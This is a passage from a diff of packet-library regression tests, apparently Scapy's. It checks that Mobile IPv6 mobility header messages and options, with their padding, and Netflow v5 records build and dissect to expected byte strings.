+i = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptCGAParams()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x0c\x00\x01\x01\x00'
+j = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptCGAParams()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x0c\x00\x01\x00'
+a and b and c and d and e and g and h and i and j
+
+                                                
+############
+############
++ Mobility Options - Automatic Padding - MIP6OptSignature                                
+=  Mobility Options - Automatic Padding - MIP6OptSignature                               
+a = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptSignature()]))                        ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\r\x00\x01\x00'
+b = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptSignature()]))                 ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\r\x00\x00'
+c = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptSignature()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\r\x00'
+d = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptSignature()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\r\x00\x01\x05\x00\x00\x00\x00\x00'
+e = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptSignature()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\r\x00\x01\x04\x00\x00\x00\x00'
+g = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptSignature()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\r\x00\x01\x03\x00\x00\x00'
+h = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptSignature()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\r\x00\x01\x02\x00\x00'
+i = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptSignature()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\r\x00\x01\x01\x00'
+j = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptSignature()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\r\x00\x01\x00'
+a and b and c and d and e and g and h and i and j
+
+                                                
+############
+############
++ Mobility Options - Automatic Padding - MIP6OptHomeKeygenToken                          
+=  Mobility Options - Automatic Padding - MIP6OptHomeKeygenToken                                 
+a = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptHomeKeygenToken()]))                        ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x0e\x00\x01\x00'
+b = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptHomeKeygenToken()]))                 ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x0e\x00\x00'
+c = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptHomeKeygenToken()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x0e\x00'
+d = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptHomeKeygenToken()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x0e\x00\x01\x05\x00\x00\x00\x00\x00'
+e = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptHomeKeygenToken()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x0e\x00\x01\x04\x00\x00\x00\x00'
+g = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptHomeKeygenToken()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x0e\x00\x01\x03\x00\x00\x00'
+h = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptHomeKeygenToken()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x0e\x00\x01\x02\x00\x00'
+i = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptHomeKeygenToken()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x0e\x00\x01\x01\x00'
+j = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptHomeKeygenToken()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x0e\x00\x01\x00'
+a and b and c and d and e and g and h and i and j
+
+                                                
+############
+############
++ Mobility Options - Automatic Padding - MIP6OptCareOfTestInit                           
+=  Mobility Options - Automatic Padding - MIP6OptCareOfTestInit                          
+a = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptCareOfTestInit()]))                        ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x0f\x00\x01\x00'
+b = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptCareOfTestInit()]))                 ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x0f\x00\x00'
+c = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptCareOfTestInit()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x0f\x00'
+d = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptCareOfTestInit()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x0f\x00\x01\x05\x00\x00\x00\x00\x00'
+e = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptCareOfTestInit()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x0f\x00\x01\x04\x00\x00\x00\x00'
+g = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptCareOfTestInit()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x0f\x00\x01\x03\x00\x00\x00'
+h = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptCareOfTestInit()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x0f\x00\x01\x02\x00\x00'
+i = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptCareOfTestInit()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x0f\x00\x01\x01\x00'
+j = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptCareOfTestInit()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x0f\x00\x01\x00'
+a and b and c and d and e and g and h and i and j
+
+                                                
+############
+############
++ Mobility Options - Automatic Padding - MIP6OptCareOfTest                               
+=  Mobility Options - Automatic Padding - MIP6OptCareOfTest                              
+a = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptCareOfTest()]))                        ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x10\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00'
+b = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptCareOfTest()]))                 ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x10\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+c = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptCareOfTest()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x10\x08\x00\x00\x00\x00\x00\x00\x00\x00'
+d = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptCareOfTest()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x10\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x05\x00\x00\x00\x00\x00'
+e = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptCareOfTest()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x10\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x04\x00\x00\x00\x00'
+g = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptCareOfTest()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x10\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x03\x00\x00\x00'
+h = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptCareOfTest()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x10\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00'
+i = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptCareOfTest()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x10\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01\x00'
+j = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptCareOfTest()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x10\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00'
+a and b and c and d and e and g and h and i and j
+
+
+############
+############
++ Binding Refresh Request Message
+= MIP6MH_BRR - Build (default values)
+raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_BRR()) == b'`\x00\x00\x00\x00\x08\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x00\x00\x00h\xfb\x00\x00'
+
+= MIP6MH_BRR - Build with specific values
+raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_BRR(nh=0xff, res=0xee, res2=0xaaaa, options=[MIP6OptLLAddr(), MIP6OptAltCoA()])) == b'`\x00\x00\x00\x00(\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\xff\x04\x00\xee\xec$\xaa\xaa\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+
+= MIP6MH_BRR - Basic dissection
+a=IPv6(b'`\x00\x00\x00\x00\x08\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x00\x00\x00h\xfb\x00\x00')
+b=a.payload
+a.nh == 135 and isinstance(b, MIP6MH_BRR) and b.nh == 59 and b.len == 0 and b.mhtype == 0 and b.res == 0 and b.cksum == 0x68fb and b.res2 == 0 and b.options == []
+
+= MIP6MH_BRR - Dissection with specific values
+a=IPv6(b'`\x00\x00\x00\x00(\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\xff\x04\x00\xee\xec$\xaa\xaa\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')
+b=a.payload
+a.nh == 135 and isinstance(b, MIP6MH_BRR) and b.nh == 0xff and b.len == 4 and b.mhtype == 0 and b.res == 238 and b.cksum == 0xec24 and b.res2 == 43690 and len(b.options) == 3 and isinstance(b.options[0], MIP6OptLLAddr) and isinstance(b.options[1], PadN) and isinstance(b.options[2], MIP6OptAltCoA)
+
+= MIP6MH_BRR / MIP6MH_BU / MIP6MH_BA hashret() and answers()
+hoa="2001:db8:9999::1"
+coa="2001:db8:7777::1"
+cn="2001:db8:8888::1"
+ha="2001db8:6666::1"
+a=IPv6(raw(IPv6(src=cn, dst=hoa)/MIP6MH_BRR()))
+b=IPv6(raw(IPv6(src=coa, dst=cn)/IPv6ExtHdrDestOpt(options=HAO(hoa=hoa))/MIP6MH_BU(flags=0x01)))
+b2=IPv6(raw(IPv6(src=coa, dst=cn)/IPv6ExtHdrDestOpt(options=HAO(hoa=hoa))/MIP6MH_BU(flags=~0x01)))
+c=IPv6(raw(IPv6(src=cn, dst=coa)/IPv6ExtHdrRouting(type=2, addresses=[hoa])/MIP6MH_BA()))
+b.answers(a) and not a.answers(b) and c.answers(b) and not b.answers(c) and not c.answers(b2)
+
+len(b[IPv6ExtHdrDestOpt].options) == 2
+
+
+############
+############
++ Home Test Init Message
+
+= MIP6MH_HoTI - Build (default values)
+raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_HoTI()) == b'`\x00\x00\x00\x00\x10\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x01\x01\x00g\xf2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+
+= MIP6MH_HoTI - Dissection (default values)
+a=IPv6(b'`\x00\x00\x00\x00\x10\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x01\x01\x00g\xf2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')
+b = a.payload
+a.nh == 135 and isinstance(b, MIP6MH_HoTI) and b.nh==59 and b.mhtype == 1 and b.len== 1 and b.res == 0 and b.cksum == 0x67f2 and b.cookie == b'\x00'*8
+
+
+= MIP6MH_HoTI - Build (specific values)
+raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_HoTI(res=0x77, cksum=0x8899, cookie=b"\xAA"*8)) == b'`\x00\x00\x00\x00\x10\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x01\x01w\x88\x99\x00\x00\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'
+
+= MIP6MH_HoTI - Dissection (specific values)
+a=IPv6(b'`\x00\x00\x00\x00\x10\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x01\x01w\x88\x99\x00\x00\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa')
+b=a.payload
+a.nh == 135 and isinstance(b, MIP6MH_HoTI) and b.nh==59 and b.mhtype == 1 and b.len == 1 and b.res == 0x77 and b.cksum == 0x8899 and b.cookie == b'\xAA'*8
+
+
+############
+############
++ Care-of Test Init Message
+
+= MIP6MH_CoTI - Build (default values)
+raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_CoTI()) == b'`\x00\x00\x00\x00\x10\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x01\x02\x00f\xf2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+
+= MIP6MH_CoTI - Dissection (default values)
+a=IPv6(b'`\x00\x00\x00\x00\x10\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x01\x02\x00f\xf2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')
+b = a.payload
+a.nh == 135 and isinstance(b, MIP6MH_CoTI) and b.nh==59 and b.mhtype == 2 and b.len== 1 and b.res == 0 and b.cksum == 0x66f2 and b.cookie == b'\x00'*8
+
+= MIP6MH_CoTI - Build (specific values)
+raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_CoTI(res=0x77, cksum=0x8899, cookie=b"\xAA"*8)) == b'`\x00\x00\x00\x00\x10\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x01\x02w\x88\x99\x00\x00\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa'
+
+= MIP6MH_CoTI - Dissection (specific values)
+a=IPv6(b'`\x00\x00\x00\x00\x10\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x01\x02w\x88\x99\x00\x00\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa')
+b=a.payload
+a.nh == 135 and isinstance(b, MIP6MH_CoTI) and b.nh==59 and b.mhtype == 2 and b.len == 1 and b.res == 0x77 and b.cksum == 0x8899 and b.cookie == b'\xAA'*8
+
+
+############
+############
++ Home Test Message
+
+= MIP6MH_HoT - Build (default values)
+raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_HoT()) == b'`\x00\x00\x00\x00\x18\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x02\x03\x00e\xe9\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+
+= MIP6MH_HoT - Dissection (default values)
+a=IPv6(b'`\x00\x00\x00\x00\x18\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x02\x03\x00e\xe9\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')
+b = a.payload
+a.nh == 135 and isinstance(b, MIP6MH_HoT) and b.nh==59 and b.mhtype == 3 and b.len== 2 and b.res == 0 and b.cksum == 0x65e9 and b.index == 0 and b.cookie == b'\x00'*8 and b.token == b'\x00'*8
+
+= MIP6MH_HoT - Build (specific values)
+raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_HoT(res=0x77, cksum=0x8899, cookie=b"\xAA"*8, index=0xAABB, token=b'\xCC'*8)) == b'`\x00\x00\x00\x00\x18\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x02\x03w\x88\x99\xaa\xbb\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc'
+
+= MIP6MH_HoT - Dissection (specific values)
+a=IPv6(b'`\x00\x00\x00\x00\x18\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x02\x03w\x88\x99\xaa\xbb\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc')
+b = a.payload
+a.nh == 135 and isinstance(b, MIP6MH_HoT) and b.nh==59 and b.mhtype == 3 and b.len== 2 and b.res == 0x77 and b.cksum == 0x8899 and b.index == 0xAABB and b.cookie == b'\xAA'*8 and b.token == b'\xCC'*8
+
+= MIP6MH_HoT answers
+a1, a2 = "2001:db8::1", "2001:db8::2"
+cookie = RandString(8)._fix()
+p1 = IPv6(src=a1, dst=a2)/MIP6MH_HoTI(cookie=cookie)
+p2 = IPv6(src=a2, dst=a1)/MIP6MH_HoT(cookie=cookie)
+p2_ko = IPv6(src=a2, dst=a1)/MIP6MH_HoT(cookie="".join(chr((orb(b'\xff') + 1) % 256)))
+assert p1.hashret() == p2.hashret() and p2.answers(p1) and not p1.answers(p2)
+assert p1.hashret() != p2_ko.hashret() and not p2_ko.answers(p1) and not p1.answers(p2_ko)
+
+
+############
+############
++ Care-of Test Message
+
+= MIP6MH_CoT - Build (default values)
+raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_CoT()) == b'`\x00\x00\x00\x00\x18\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x02\x04\x00d\xe9\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+
+= MIP6MH_CoT - Dissection (default values)
+a=IPv6(b'`\x00\x00\x00\x00\x18\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x02\x04\x00d\xe9\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')
+b = a.payload
+a.nh == 135 and isinstance(b, MIP6MH_HoT) and b.nh==59 and b.mhtype == 4 and b.len== 2 and b.res == 0 and b.cksum == 0x64e9 and b.index == 0 and b.cookie == b'\x00'*8 and b.token == b'\x00'*8
+
+= MIP6MH_CoT - Build (specific values)
+raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_CoT(res=0x77, cksum=0x8899, cookie=b"\xAA"*8, index=0xAABB, token=b'\xCC'*8)) == b'`\x00\x00\x00\x00\x18\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x02\x04w\x88\x99\xaa\xbb\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc'
+
+= MIP6MH_CoT - Dissection (specific values)
+a=IPv6(b'`\x00\x00\x00\x00\x18\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x02\x04w\x88\x99\xaa\xbb\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc')
+b = a.payload
+a.nh == 135 and isinstance(b, MIP6MH_CoT) and b.nh==59 and b.mhtype == 4 and b.len== 2 and b.res == 0x77 and b.cksum == 0x8899 and b.index == 0xAABB and b.cookie == b'\xAA'*8 and b.token == b'\xCC'*8
+
+
+############
+############
++ Binding Update Message
+
+= MIP6MH_BU - build (default values)
+s= b'`\x00\x00\x00\x00(<@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x87\x02\x01\x02\x00\x00\xc9\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00;\x01\x05\x00\xee`\x00\x00\xd0\x00\x00\x03\x01\x02\x00\x00'
+raw(IPv6()/IPv6ExtHdrDestOpt(options=[HAO()])/MIP6MH_BU()) == s
+
+= MIP6MH_BU - dissection (default values)
+p = IPv6(s)
+p[MIP6MH_BU].len == 1
+
+= MIP6MH_BU - build
+s = b'`\x00\x00\x00\x00P<@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x87\x02\x01\x02\x00\x00\xc9\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe;\x06\x05\x00\xea\xf2\x00\x00\xd0\x00\x00*\x01\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+raw(IPv6()/IPv6ExtHdrDestOpt(options=[HAO(hoa='2001:db8::cafe')])/MIP6MH_BU(mhtime=42, options=[MIP6OptAltCoA(),MIP6OptMobNetPrefix()])) == s
+
+= MIP6MH_BU - dissection
+p = IPv6(s)
+p[MIP6MH_BU].cksum == 0xeaf2 and p[MIP6MH_BU].len == 6 and len(p[MIP6MH_BU].options) == 4 and p[MIP6MH_BU].mhtime == 42
+
+
+############
+############
++ Binding ACK Message
+
+=  MIP6MH_BA - build
+s = b'`\x00\x00\x00\x00\x10\x87@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01;\x01\x06\x00\xbc\xb9\x00\x80\x00\x00\x00*\x01\x02\x00\x00'
+raw(IPv6()/MIP6MH_BA(mhtime=42)) == s
+
+=  MIP6MH_BA - dissection
+p = IPv6(s)
+p[MIP6MH_BA].cksum == 0xbcb9 and p[MIP6MH_BA].len == 1 and len(p[MIP6MH_BA].options) == 1 and p[MIP6MH_BA].mhtime == 42
+
+
+############
+############
++ Binding ERR Message
+
+=  MIP6MH_BE - build
+s = b'`\x00\x00\x00\x00\x18\x87@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01;\x02\x07\x00\xbbY\x02\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02'
+raw(IPv6()/MIP6MH_BE(status=2, ha='1::2')) == s
+
+=  MIP6MH_BE - dissection
+p = IPv6(s)
+p[MIP6MH_BE].cksum=0xba10 and p[MIP6MH_BE].len == 1 and len(p[MIP6MH_BE].options) == 1
+
+
+############
+############
++ Netflow v5
+
+= NetflowHeaderV5 - basic building
+
+raw(NetflowHeader()/NetflowHeaderV5()) == b'\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+
+raw(NetflowHeaderV5(engineID=42)) == b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00*\x00\x00'
+
+raw(NetflowRecordV5(dst="192.168.0.1")) == b'\x7f\x00\x00\x01\xc0\xa8\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00<\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+
+raw(NetflowHeader()/NetflowHeaderV5(count=1)/NetflowRecordV5(dst="192.168.0.1")) == b'\x00\x05\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7f\x00\x00\x01\xc0\xa8\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00<\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+
+
+= NetflowHeaderV5 - basic dissection
+
+nf5 = NetflowHeader(b'\x00\x05\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00<\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00<\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00')
+nf5.version == 5 and nf5[NetflowHeaderV5].count == 2 and isinstance(nf5[NetflowRecordV5].payload, NetflowRecordV5)
+
+############
+############
++ Netflow v9
+
+= NetflowHeaderV9 - advanced building
+
+import time
+
